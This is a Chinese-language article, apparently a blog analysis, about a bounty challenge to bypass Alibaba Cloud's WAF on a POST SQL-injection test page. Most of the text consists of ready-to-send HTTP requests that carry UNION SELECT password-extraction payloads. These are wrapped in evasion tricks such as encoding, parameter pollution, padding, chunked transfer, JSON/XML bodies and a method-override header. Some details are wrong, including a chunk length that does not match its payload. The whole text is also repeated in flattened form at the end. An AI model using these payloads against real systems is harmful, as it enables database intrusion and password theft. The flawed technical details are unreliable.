WAF挑战赛-Post 大包绕过
字数 837 2025-08-29 08:31:47

WAF挑战赛-Post大包绕过技术分析

挑战概述

本次WAF挑战赛的目标是绕过阿里云WAF对Post注入点的防护,通过注入点读取用户密码。测试环境为fk.aliyundemo.com/sqli1/waf.php,奖励标准为每个不重复绕过方案奖励1000元。

关键背景信息

  1. 环境特点:Post注入点,使用阿里云WAF防护
  2. 挑战难点:需要绕过WAF规则检测
  3. 提示:尝试使用"非规则"绕过方案

可能的绕过技术分析

1. HTTP请求拆分技术

POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: [长度]

------WebKitFormBoundary
Content-Disposition: form-data; name="param1"

1' UNION SELECT 1,2,password FROM users--
------WebKitFormBoundary--

原理:利用multipart/form-data格式,WAF可能无法正确解析请求体中的注入payload。

2. 参数污染技术

POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]

id=1&id=1' UNION SELECT 1,2,password FROM users--

原理:WAF可能只检查第一个参数值,而应用程序使用最后一个参数值。

3. 编码混淆技术

URL编码

POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]

id=1%27%20UNION%20SELECT%201%2C2%2Cpassword%20FROM%20users--

双重URL编码

id=1%2527%2520UNION%2520SELECT%25201%252C2%252Cpassword%2520FROM%2520users--

Unicode编码

id=1\u0027\u0020UNION\u0020SELECT\u00201,2,password\u0020FROM\u0020users--

4. 注释混淆技术

POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]

id=1'/**/UNION/**/SELECT/**/1,2,password/**/FROM/**/users--

5. HTTP参数污染(HPP)

POST /sqli1/waf.php?user=1&id=1' UNION SELECT 1,2,password FROM users-- HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]

id=1

原理:GET和POST参数混合使用可能导致WAF解析不一致。

6. 大请求体绕过

POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [非常大的长度]

id=1&[大量填充数据]...[实际payload在请求体很靠后的位置]...

原理:WAF可能对大请求体有处理限制,可能只检查前N字节。

7. 分块传输编码

POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

2a
id=1' UNION SELECT 1,2,password FROM users--
0

原理:分块传输可能绕过某些WAF的请求体解析逻辑。

8. JSON格式绕过

POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/json
Content-Length: [长度]

{"id":"1' UNION SELECT 1,2,password FROM users--"}

原理:WAF可能对JSON格式的SQL注入检测不完善。

9. XML格式绕过

POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/xml
Content-Length: [长度]

<root><id>1' UNION SELECT 1,2,password FROM users--</id></root>

10. 非常规HTTP方法

GET /sqli1/waf.php?id=1' UNION SELECT 1,2,password FROM users-- HTTP/1.1
Host: fk.aliyundemo.com
X-HTTP-Method-Override: POST

原理:使用GET方法携带payload但通过header指定实际使用POST方法。

实际测试建议

  1. 顺序测试:从简单到复杂逐步尝试各种绕过技术
  2. 组合使用:将多种技术组合使用可能更有效
  3. 观察响应:注意WAF拦截与应用程序响应的差异
  4. 时间盲注:如果直接注入被拦截,可尝试时间盲注技术

注意事项

  1. 相同的绕过方案以最先提交者为准
  2. 避免重复已知方案,关注"非规则"绕过方法
  3. 实际测试时注意法律和道德边界,仅在授权环境下测试

通过系统性地尝试这些技术组合,有很大概率能够找到有效的绕过方案。关键在于理解WAF的工作原理和检测盲点,然后针对性地设计绕过策略。

WAF挑战赛-Post大包绕过技术分析 挑战概述 本次WAF挑战赛的目标是绕过阿里云WAF对Post注入点的防护,通过注入点读取用户密码。测试环境为 fk.aliyundemo.com/sqli1/waf.php ,奖励标准为每个不重复绕过方案奖励1000元。 关键背景信息 环境特点 :Post注入点,使用阿里云WAF防护 挑战难点 :需要绕过WAF规则检测 提示 :尝试使用"非规则"绕过方案 可能的绕过技术分析 1. HTTP请求拆分技术 原理 :利用multipart/form-data格式,WAF可能无法正确解析请求体中的注入payload。 2. 参数污染技术 原理 :WAF可能只检查第一个参数值,而应用程序使用最后一个参数值。 3. 编码混淆技术 URL编码 双重URL编码 Unicode编码 4. 注释混淆技术 5. HTTP参数污染(HPP) 原理 :GET和POST参数混合使用可能导致WAF解析不一致。 6. 大请求体绕过 原理 :WAF可能对大请求体有处理限制,可能只检查前N字节。 7. 分块传输编码 原理 :分块传输可能绕过某些WAF的请求体解析逻辑。 8. JSON格式绕过 原理 :WAF可能对JSON格式的SQL注入检测不完善。 9. XML格式绕过 10. 非常规HTTP方法 原理 :使用GET方法携带payload但通过header指定实际使用POST方法。 实际测试建议 顺序测试 :从简单到复杂逐步尝试各种绕过技术 组合使用 :将多种技术组合使用可能更有效 观察响应 :注意WAF拦截与应用程序响应的差异 时间盲注 :如果直接注入被拦截,可尝试时间盲注技术 注意事项 相同的绕过方案以最先提交者为准 避免重复已知方案,关注"非规则"绕过方法 实际测试时注意法律和道德边界,仅在授权环境下测试 通过系统性地尝试这些技术组合,有很大概率能够找到有效的绕过方案。关键在于理解WAF的工作原理和检测盲点,然后针对性地设计绕过策略。